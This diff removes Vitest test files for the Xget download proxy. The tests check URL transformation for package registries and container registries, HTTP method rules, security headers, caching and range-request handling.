it('should redirect invalid platform prefix to homepage', async () => {
const response = await SELF.fetch('https://example.com/invalid/test', { redirect: 'manual' });
expect(response.status).toBe(302);
expect(response.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
});
it('should include security headers in all responses', async () => {
const response = await SELF.fetch('https://example.com/', { redirect: 'manual' });
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
expect(response.headers.get('Content-Security-Policy')).toBeTruthy();
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
});
});
describe('Platform URL Transformation', () => {
it('should handle GitHub URLs correctly', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GitHub
expect(response.status).not.toBe(400);
});
it('should handle GitLab URLs correctly', async () => {
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GitLab
expect(response.status).not.toBe(400);
});
it('should handle Hugging Face URLs correctly', async () => {
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to Hugging Face
expect(response.status).not.toBe(400);
});
it('should handle npm URLs correctly', async () => {
const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to npm
expect(response.status).not.toBe(400);
});
it('should handle PyPI URLs correctly', async () => {
const testUrl = 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to PyPI
expect(response.status).not.toBe(400);
});
it('should handle conda URLs correctly', async () => {
const testUrl =
'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to conda
expect(response.status).not.toBe(400);
});
it('should handle Flathub URLs correctly', async () => {
const testUrl = 'https://example.com/flathub/repo/summary';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to Flathub
expect(response.status).not.toBe(400);
});
it('should not treat nested /v2/ path segments as container registry requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/releases/download/v2/file.tar.gz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect(response.status).not.toBe(400);
});
});
describe('HTTP Method Validation', () => {
it('should allow GET requests', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'GET'
});
expect(response.status).not.toBe(405);
});
it('should allow HEAD requests', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
});
expect(response.status).not.toBe(405);
});
it('should reject PUT requests for non-Git operations', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'PUT'
});
expect(response.status).toBe(405);
});
it('should reject DELETE requests', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'DELETE'
});
expect(response.status).toBe(405);
});
it('should reject AI-like POST requests outside /ip providers', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/v1/chat/completions', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ message: 'test' })
});
expect(response.status).toBe(405);
});
});
describe('Git Protocol Support', () => {
it('should allow POST for Git upload-pack', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', {
method: 'POST',
headers: {
'Content-Type': 'application/x-git-upload-pack-request',
'User-Agent': 'git/2.34.1'
}
});
expect(response.status).not.toBe(405);
});
it('should allow POST for Git receive-pack', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-receive-pack', {
method: 'POST',
headers: {
'Content-Type': 'application/x-git-receive-pack-request',
'User-Agent': 'git/2.34.1'
}
});
expect(response.status).not.toBe(405);
});
it('should handle Git info/refs requests', async () => {
const response = await SELF.fetch(
'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack',
{
method: 'GET',
headers: {
'User-Agent': 'git/2.34.1'
}
}
);
expect(response.status).not.toBe(405);
});
});
describe('Path Length Validation', () => {
it('should reject extremely long paths', async () => {
const longPath = `/gh/${'a'.repeat(3000)}`;
const response = await SELF.fetch(`https://example.com${longPath}`);
expect(response.status).toBe(414);
});
it('should accept normal length paths', async () => {
const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip';
const response = await SELF.fetch(`https://example.com${normalPath}`, { method: 'HEAD' });
expect(response.status).not.toBe(414);
});
});
describe('Performance Headers', () => {
it('should include performance metrics in response headers', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
});
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
it('should include valid JSON in performance metrics', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
});
const metricsHeader = response.headers.get('X-Performance-Metrics');
expect(metricsHeader).toBeTruthy();
expect(() => JSON.parse(metricsHeader || '')).not.toThrow();
});
});
describe('URL Rewriting', () => {
it('should rewrite npm registry URLs in JSON responses', async () => {
// Mock npm package metadata request
const testUrl = 'https://example.com/npm/lodash';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// This test would need actual npm registry response mocking
// For now, just verify the request doesn't fail
expect([200, 301, 302, 404, 500]).toContain(response.status);
});
it('should preserve npm tarball URL structure', async () => {
// Test that npm tarball URLs follow the correct pattern
const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy correctly
expect(response.status).not.toBe(400);
});
it('should correctly rewrite npm URLs to preserve package names', () => {
// Test the regex replacement logic directly
const mockOriginalText = JSON.stringify({
name: 'npm',
versions: {
'11.5.1': {
dist: {
tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'
}
}
}
});
// Simulate the regex replacement that happens in the code
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry.npmjs.org\/([^/]+)/g,
'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
// Verify the URL is correctly rewritten with package name preserved
expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(
'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'
);
});
});
});
-306
View File
@@ -1,306 +0,0 @@
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Integration Tests', () => {
describe('End-to-End Platform Integration', () => {
it('should proxy GitHub file requests correctly', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/blob/main/package.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GitHub
expect([200, 301, 302, 404]).toContain(response.status);
// Should include security headers
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
it('should handle GitHub raw file requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/raw/main/README.md';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle GitHub release downloads', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404, 408]).toContain(response.status);
}, 60000);
it('should proxy GitLab file requests correctly', async () => {
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/package.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
it('should handle Hugging Face model files', async () => {
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404, 429]).toContain(response.status);
}, 10000);
it('should handle npm package requests', async () => {
const testUrl = 'https://example.com/npm/react';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle PyPI package requests', async () => {
const testUrl = 'https://example.com/pypi/simple/requests/';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle conda package requests', async () => {
const testUrl = 'https://example.com/conda/pkgs/main/linux-64/repodata.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
});
describe('Caching Integration', () => {
it('should cache responses appropriately', async () => {
const testUrl = 'https://example.com/gh/test/repo/static-file.txt';
// First request
const response1 = await SELF.fetch(testUrl);
const metrics1 = response1.headers.get('X-Performance-Metrics');
// Second request (should potentially hit cache)
const response2 = await SELF.fetch(testUrl);
const metrics2 = response2.headers.get('X-Performance-Metrics');
expect(metrics1).toBeTruthy();
expect(metrics2).toBeTruthy();
// Both requests should succeed
expect(response1.status).toBe(response2.status);
});
it('should not cache Git protocol requests', async () => {
const testUrl = 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git/2.34.1'
}
});
// Git requests should not be cached (no cache headers)
expect(response.headers.get('Cache-Control') || '').not.toContain('max-age=1800');
});
});
describe('Error Handling Integration', () => {
it('should handle upstream server errors gracefully', async () => {
const testUrl = 'https://example.com/gh/nonexistent/repo/file.txt';
const response = await SELF.fetch(testUrl);
// Should handle 404 from upstream gracefully
expect([404, 502, 503]).toContain(response.status);
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
it('should handle network timeouts', async () => {
// This would test timeout handling, but is difficult to simulate
// in a unit test environment. In practice, this would be tested
// with a mock server that delays responses.
const testUrl = 'https://example.com/gh/test/repo/file.txt';
const response = await SELF.fetch(testUrl);
// Should complete within reasonable time
expect(response.status).toBeDefined();
});
it('should retry failed requests', async () => {
// Test retry mechanism by checking performance metrics
const testUrl = 'https://example.com/gh/test/unreliable-endpoint';
const response = await SELF.fetch(testUrl);
const metricsHeader = response.headers.get('X-Performance-Metrics');
if (metricsHeader) {
const metrics = JSON.parse(metricsHeader);
// If retries occurred, there should be timing data
expect(typeof metrics).toBe('object');
}
}, 20000);
});
describe('Performance Integration', () => {
it('should complete requests within reasonable time', async () => {
const startTime = Date.now();
const testUrl = 'https://example.com/gh/test/repo/small-file.txt';
const response = await SELF.fetch(testUrl);
const endTime = Date.now();
const duration = endTime - startTime;
// Should complete within 30 seconds (timeout limit)
expect(duration).toBeLessThan(30000);
expect(response.status).toBeDefined();
});
it('should include performance metrics in all responses', async () => {
const testUrls = [
'https://example.com/gh/test/repo/file.txt',
'https://example.com/npm/test-package',
'https://example.com/pypi/simple/test/'
];
const responses = await Promise.all(testUrls.map(url => SELF.fetch(url, { method: 'HEAD' })));
for (const response of responses) {
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
}
}, 20000);
});
describe('Content Type Handling', () => {
it('should preserve content types from upstream', async () => {
const testCases = [
{ url: 'https://example.com/gh/test/repo/image.png', expectedType: 'image' },
{ url: 'https://example.com/gh/test/repo/data.json', expectedType: 'json' },
{ url: 'https://example.com/gh/test/repo/style.css', expectedType: 'css' },
{ url: 'https://example.com/gh/test/repo/script.js', expectedType: 'javascript' }
];
for (const testCase of testCases) {
const response = await SELF.fetch(testCase.url, { method: 'HEAD' });
if (response.status === 200) {
const contentType = response.headers.get('Content-Type');
if (contentType) {
expect(contentType.toLowerCase()).toContain(testCase.expectedType);
}
}
}
}, 30000);
});
describe('Range Request Support', () => {
it('should support partial content requests', async () => {
const testUrl = 'https://example.com/gh/test/repo/large-file.zip';
const response = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
// Should either support range requests (206) or return full content (200)
expect([200, 206, 404]).toContain(response.status);
if (response.status === 206) {
expect(response.headers.get('Content-Range')).toBeTruthy();
}
});
it('should handle range requests with proper caching strategy', async () => {
const testUrl = 'https://example.com/gh/test/repo/test-file.pdf';
// First, make a regular request to cache the full content
const fullResponse = await SELF.fetch(testUrl);
if (fullResponse.status === 200) {
// Verify the response has proper headers for Range support
expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');
expect(fullResponse.headers.get('Cache-Control')).toContain('public');
// Now make a range request
const rangeResponse = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
// Should either get partial content or full content
expect([200, 206]).toContain(rangeResponse.status);
if (rangeResponse.status === 206) {
expect(rangeResponse.headers.get('Content-Range')).toBeTruthy();
expect(rangeResponse.headers.get('Content-Length')).toBe('1024');
}
}
});
it('should avoid compression for media files', async () => {
const mediaFiles = [
'https://example.com/gh/test/repo/video.mp4',
'https://example.com/gh/test/repo/audio.mp3',
'https://example.com/gh/test/repo/image.jpg',
'https://example.com/gh/test/repo/archive.zip'
];
for (const url of mediaFiles) {
const response = await SELF.fetch(url, { method: 'HEAD' });
if (response.status === 200) {
// Media files should have Accept-Ranges header for proper range support
expect(response.headers.get('Accept-Ranges')).toBe('bytes');
// Should not be compressed if it's a media file
const contentEncoding = response.headers.get('Content-Encoding');
if (contentEncoding) {
expect(['identity', null, undefined]).toContain(contentEncoding);
}
}
}
});
it('should cache only 200 responses, not 206 responses', async () => {
const testUrl = 'https://example.com/gh/test/repo/large-document.pdf';
// Make a range request first
const rangeResponse = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
// Verify performance metrics don't show 206 caching attempts
if (rangeResponse.status === 206) {
const metrics = rangeResponse.headers.get('X-Performance-Metrics');
if (metrics) {
const parsedMetrics = JSON.parse(metrics);
// Should not have cache_put_206_error or similar
expect(parsedMetrics).not.toHaveProperty('cache_put_error');
}
}
// Follow up with a full request to ensure it gets cached properly
const fullResponse = await SELF.fetch(testUrl);
if (fullResponse.status === 200) {
expect(fullResponse.headers.get('Cache-Control')).toContain('public');
expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');
}
});
});
describe('Cross-Platform Consistency', () => {
it('should handle similar requests consistently across platforms', async () => {
const testCases = [
'https://example.com/gh/test/repo/README.md',
'https://example.com/gl/test/repo/README.md'
];
const responses = await Promise.all(
testCases.map(url => SELF.fetch(url, { method: 'HEAD' }))
);
// All responses should have consistent security headers
responses.forEach((/** @type {Response} */ response) => {
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
});
});
});
-288
View File
@@ -1,288 +0,0 @@
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Container Registry Support', () => {
describe('Docker API Version Check', () => {
it('should handle /v2/ endpoint correctly', async () => {
const response = await SELF.fetch('https://example.com/v2/');
expect(response.status).toBe(200);
expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');
expect(response.headers.get('Content-Type')).toBe('application/json');
const body = await response.text();
expect(body).toBe('{}');
});
it('should handle /v2 endpoint correctly', async () => {
const response = await SELF.fetch('https://example.com/v2');
expect(response.status).toBe(200);
expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');
});
});
describe('Container Registry URL Transformation', () => {
it('should handle Quay.io registry requests', async () => {
const testUrl = 'https://example.com/cr/quay/v2/quay/redis/manifests/latest';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to Quay.io
expect(response.status).not.toBe(400);
});
it('should handle Google Container Registry requests', async () => {
const testUrl = 'https://example.com/cr/gcr/v2/distroless/base/manifests/latest';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GCR
expect(response.status).not.toBe(400);
});
it('should handle GitHub Container Registry requests', async () => {
const testUrl = 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GHCR
expect(response.status).not.toBe(400);
});
});
describe('Docker Authentication', () => {
it('should pass through 401 authentication challenges', async () => {
// This test simulates an upstream 401 response which should be passed through
const testUrl = 'https://example.com/cr/ghcr/v2/private/repo/manifests/latest';
const response = await SELF.fetch(testUrl, {
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
// Should not convert 401 to 500 or other error codes
if (response.status === 401) {
// WWW-Authenticate header should be preserved
expect(response.headers.has('WWW-Authenticate') || response.status === 401).toBeTruthy();
}
});
it('should handle container registry token requests', async () => {
const testUrl = 'https://example.com/cr/ghcr/v2/auth';
const response = await SELF.fetch(testUrl, {
headers: {
Authorization: 'Basic dGVzdDp0ZXN0'
}
});
// Should attempt to proxy auth requests
expect(response.status).not.toBe(400);
}, 15000);
it('should transform scope parameter correctly for Docker Hub', async () => {
// Test that scope parameter removes Xget path prefix
const testUrl =
'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/mlikiowa/napcat-docker:pull&service=Xget';
const response = await SELF.fetch(testUrl);
// Should not return 400 Bad Request (which indicates malformed scope)
expect(response.status).not.toBe(400);
});
it('should transform scope parameter correctly for GHCR', async () => {
// Test that scope parameter removes Xget path prefix
const testUrl =
'https://example.com/cr/ghcr/v2/auth?scope=repository:cr/ghcr/user/repo:pull&service=Xget';
const response = await SELF.fetch(testUrl);
// Should not return 400 Bad Request (which indicates malformed scope)
expect(response.status).not.toBe(400);
});
it('should handle scope parameter for official Docker Hub images', async () => {
// Test that scope parameter is transformed and adds library/ prefix for official images
const testUrl =
'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/nginx:pull&service=Xget';
const response = await SELF.fetch(testUrl);
// Should not return 400 Bad Request
expect(response.status).not.toBe(400);
});
});
describe('Docker Request Detection', () => {
it('should detect Docker requests by path', async () => {
const response = await SELF.fetch(
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
{
method: 'GET'
}
);
// Should not reject with 405 (method not allowed)
expect(response.status).not.toBe(405);
});
it('should detect Docker requests by Accept header', async () => {
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
// Should not reject with 405 (method not allowed)
expect(response.status).not.toBe(405);
});
it('should detect Docker requests by User-Agent', async () => {
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {
headers: {
'User-Agent': 'docker/20.10.7'
}
});
// Should not reject with 405 (method not allowed)
expect(response.status).not.toBe(405);
});
});
describe('Docker HTTP Methods', () => {
it('should allow GET for manifest requests', async () => {
const response = await SELF.fetch(
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
{
method: 'GET'
}
);
expect(response.status).not.toBe(405);
});
it('should allow HEAD for manifest requests', async () => {
const response = await SELF.fetch(
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
{
method: 'HEAD'
}
);
expect(response.status).not.toBe(405);
});
it('should allow PUT for manifest uploads', async () => {
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {
method: 'PUT',
headers: {
'Content-Type': 'application/vnd.docker.distribution.manifest.v2+json'
},
body: JSON.stringify({
schemaVersion: 2,
mediaType: 'application/vnd.docker.distribution.manifest.v2+json'
})
});
expect(response.status).not.toBe(405);
});
it('should allow POST for blob uploads', async () => {
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/blobs/uploads/', {
method: 'POST',
headers: {
'Content-Type': 'application/octet-stream'
}
});
expect(response.status).not.toBe(405);
});
});
describe('Container Registry Error Handling', () => {
it('should reject non-cr prefixed Docker requests', async () => {
const response = await SELF.fetch(
'https://example.com/v2/nginxinc/nginx-unprivileged/manifests/latest'
);
expect(response.status).toBe(400);
expect(await response.text()).toContain('container registry requests must use /cr/ prefix');
});
});
describe('Container Registry Headers', () => {
it('should preserve container-specific headers', async () => {
const response = await SELF.fetch(
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
{
headers: {
'Container-Content-Digest': 'sha256:abc123',
Accept: 'application/vnd.docker.distribution.manifest.v2+json',
Authorization: 'Bearer token123'
}
}
);
// Should not reject Docker-specific headers
expect(response.status).not.toBe(400);
});
it('should not cache container registry responses', async () => {
const testUrl = 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';
const response = await SELF.fetch(testUrl);
// Container registry responses should not be cached
const cacheControl = response.headers.get('Cache-Control');
if (cacheControl) {
expect(cacheControl).not.toContain('max-age=1800');
}
});
});
describe('Docker Hub Specific Tests', () => {
it('should handle Docker Hub official images (single-name images)', async () => {
// Official images like nginx, redis are stored as library/nginx in Docker Hub
const testUrl = 'https://example.com/cr/docker/v2/nginx/manifests/latest';
const response = await SELF.fetch(testUrl, {
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
// Should attempt to proxy to Docker Hub
expect(response.status).not.toBe(400);
}, 30000);
it('should handle Docker Hub user images (namespace/image format)', async () => {
// User images already have namespace prefix
const testUrl =
'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest';
const response = await SELF.fetch(testUrl, {
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
// Should attempt to proxy to Docker Hub
expect(response.status).not.toBe(400);
}, 30000);
it('should allow GET for Docker Hub manifest requests', async () => {
const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
method: 'GET',
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
expect(response.status).not.toBe(405);
});
it('should allow HEAD for Docker Hub manifest requests', async () => {
const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
method: 'HEAD',
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
expect(response.status).not.toBe(405);
});
});
});
-54
View File
@@ -1,54 +0,0 @@
import { describe, expect, it } from 'vitest';
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('CRAN Platform Configuration', () => {
it('should have CRAN platform configured', () => {
expect(PLATFORMS.cran).toBe('https://cran.r-project.org');
});
it('should transform CRAN paths correctly', () => {
const testCases = [
{
input: '/cran/src/contrib/ggplot2_3.5.2.tar.gz',
expected: '/src/contrib/ggplot2_3.5.2.tar.gz',
description: 'package source file'
},
{
input: '/cran/web/packages/dplyr/DESCRIPTION',
expected: '/web/packages/dplyr/DESCRIPTION',
description: 'package description file'
},
{
input: '/cran/bin/windows/contrib/4.3/ggplot2_3.4.4.zip',
expected: '/bin/windows/contrib/4.3/ggplot2_3.4.4.zip',
description: 'Windows binary package'
},
{
input: '/cran/bin/macosx/big-sur-arm64/contrib/4.3/ggplot2_3.4.4.tgz',
expected: '/bin/macosx/big-sur-arm64/contrib/4.3/ggplot2_3.4.4.tgz',
description: 'macOS binary package'
},
{
input: '/cran/web/packages/packages.rds',
expected: '/web/packages/packages.rds',
description: 'package index file'
}
];
testCases.forEach(({ input, expected, description }) => {
const result = transformPath(input, 'cran');
expect(result, `Failed for ${description}: ${input}`).toBe(expected);
});
});
it('should handle root path correctly', () => {
const result = transformPath('/cran/', 'cran');
expect(result).toBe('/');
});
it('should handle paths without platform prefix', () => {
const result = transformPath('/src/contrib/ggplot2_3.5.2.tar.gz', 'cran');
expect(result).toBe('/src/contrib/ggplot2_3.5.2.tar.gz');
});
});
-34
View File
@@ -1,34 +0,0 @@
import { describe, expect, it } from 'vitest';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('crates.io path transformation', () => {
it('should transform crate download URLs correctly', () => {
const path = '/crates/serde/1.0.0/download';
const result = transformPath(path, 'crates');
expect(result).toBe('/api/v1/crates/serde/1.0.0/download');
});
it('should transform crate metadata URLs correctly', () => {
const path = '/crates/serde';
const result = transformPath(path, 'crates');
expect(result).toBe('/api/v1/crates/serde');
});
it('should transform crate version URLs correctly', () => {
const path = '/crates/serde/1.0.0';
const result = transformPath(path, 'crates');
expect(result).toBe('/api/v1/crates/serde/1.0.0');
});
it('should transform search URLs correctly', () => {
const path = '/crates/?q=serde';
const result = transformPath(path, 'crates');
expect(result).toBe('/api/v1/crates?q=serde');
});
it('should transform root crates URL correctly', () => {
const path = '/crates/';
const result = transformPath(path, 'crates');
expect(result).toBe('/api/v1/crates');
});
});
-57
View File
@@ -1,57 +0,0 @@
import { describe, expect, it } from 'vitest';
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('Flathub Platform Configuration', () => {
it('should have Flathub platform configured', () => {
expect(PLATFORMS.flathub).toBe('https://dl.flathub.org');
});
it('should transform Flathub repository paths correctly', () => {
const testCases = [
{
input: '/flathub/repo/summary',
expected: '/repo/summary',
description: 'repository summary'
},
{
input: '/flathub/repo/summary.sig',
expected: '/repo/summary.sig',
description: 'repository summary signature'
},
{
input: '/flathub/repo/flathub.flatpakrepo',
expected: '/repo/flathub.flatpakrepo',
description: 'remote descriptor'
},
{
input: '/flathub/repo/appstream/org.gnome.gedit.flatpakref',
expected: '/repo/appstream/org.gnome.gedit.flatpakref',
description: 'application reference'
},
{
input: '/flathub/repo/objects/12/34567890abcdef.filez',
expected: '/repo/objects/12/34567890abcdef.filez',
description: 'content-addressed object'
},
{
input: '/flathub/repo/deltas/ABCD.superblock',
expected: '/repo/deltas/ABCD.superblock',
description: 'static delta'
}
];
testCases.forEach(({ input, expected, description }) => {
const result = transformPath(input, 'flathub');
expect(result, `Failed for ${description}: ${input}`).toBe(expected);
});
});
it('should handle root path correctly', () => {
expect(transformPath('/flathub/', 'flathub')).toBe('/');
});
it('should preserve already transformed Flathub repository paths', () => {
expect(transformPath('/repo/summary', 'flathub')).toBe('/repo/summary');
});
});
-76
View File
@@ -1,76 +0,0 @@
import { describe, expect, it } from 'vitest';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('Homebrew path transformation', () => {
describe('homebrew-api platform', () => {
it('should handle formula API paths correctly', () => {
const path = '/homebrew/api/formula/git.json';
const result = transformPath(path, 'homebrew-api');
expect(result).toBe('/formula/git.json');
});
it('should handle cask API paths correctly', () => {
const path = '/homebrew/api/cask/docker.json';
const result = transformPath(path, 'homebrew-api');
expect(result).toBe('/cask/docker.json');
});
it('should handle formula list API paths correctly', () => {
const path = '/homebrew/api/formula.json';
const result = transformPath(path, 'homebrew-api');
expect(result).toBe('/formula.json');
});
it('should handle cask list API paths correctly', () => {
const path = '/homebrew/api/cask.json';
const result = transformPath(path, 'homebrew-api');
expect(result).toBe('/cask.json');
});
});
describe('homebrew-bottles platform', () => {
it('should handle bottle manifest paths correctly', () => {
const path = '/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0';
const result = transformPath(path, 'homebrew-bottles');
expect(result).toBe('/v2/homebrew/core/git/manifests/2.39.0');
});
it('should handle bottle blob paths correctly', () => {
const path = '/homebrew/bottles/v2/homebrew/core/git/blobs/sha256:abcd1234';
const result = transformPath(path, 'homebrew-bottles');
expect(result).toBe('/v2/homebrew/core/git/blobs/sha256:abcd1234');
});
it('should handle bottle catalog paths correctly', () => {
const path = '/homebrew/bottles/v2/_catalog';
const result = transformPath(path, 'homebrew-bottles');
expect(result).toBe('/v2/_catalog');
});
});
describe('homebrew platform', () => {
it('should handle brew repository paths correctly', () => {
const path = '/homebrew/brew.git/info/refs';
const result = transformPath(path, 'homebrew');
expect(result).toBe('/brew.git/info/refs');
});
it('should handle homebrew-core repository paths correctly', () => {
const path = '/homebrew/homebrew-core.git/info/refs';
const result = transformPath(path, 'homebrew');
expect(result).toBe('/homebrew-core.git/info/refs');
});
it('should handle homebrew-cask repository paths correctly', () => {
const path = '/homebrew/homebrew-cask.git/archive/refs/heads/master.tar.gz';
const result = transformPath(path, 'homebrew');
expect(result).toBe('/homebrew-cask.git/archive/refs/heads/master.tar.gz');
});
it('should handle raw file downloads correctly', () => {
const path = '/homebrew/homebrew-core/archive/master.tar.gz';
const result = transformPath(path, 'homebrew');
expect(result).toBe('/homebrew-core/archive/master.tar.gz');
});
});
});
-162
View File
@@ -1,162 +0,0 @@
import { describe, expect, it } from 'vitest';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('Jenkins Plugin Support', () => {
describe('Update Center Transformations', () => {
it('should redirect default update-center.json to current', () => {
const result = transformPath('/jenkins/update-center.json', 'jenkins');
expect(result).toBe('/current/update-center.json');
});
it('should redirect update-center.actual.json to current', () => {
const result = transformPath('/jenkins/update-center.actual.json', 'jenkins');
expect(result).toBe('/current/update-center.actual.json');
});
it('should preserve current paths as-is', () => {
const result = transformPath('/jenkins/current/update-center.json', 'jenkins');
expect(result).toBe('/current/update-center.json');
});
it('should preserve experimental paths as-is', () => {
const result = transformPath('/jenkins/experimental/update-center.json', 'jenkins');
expect(result).toBe('/experimental/update-center.json');
});
it('should preserve download paths as-is', () => {
const result = transformPath('/jenkins/download/plugins/git/5.2.1/git.hpi', 'jenkins');
expect(result).toBe('/download/plugins/git/5.2.1/git.hpi');
});
});
describe('Plugin Download Transformations', () => {
it('should handle Maven plugin download', () => {
const path = '/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi';
const result = transformPath(path, 'jenkins');
expect(result).toBe('/download/plugins/maven-plugin/3.27/maven-plugin.hpi');
});
it('should handle Git plugin download', () => {
const path = '/jenkins/download/plugins/git/5.2.1/git.hpi';
const result = transformPath(path, 'jenkins');
expect(result).toBe('/download/plugins/git/5.2.1/git.hpi');
});
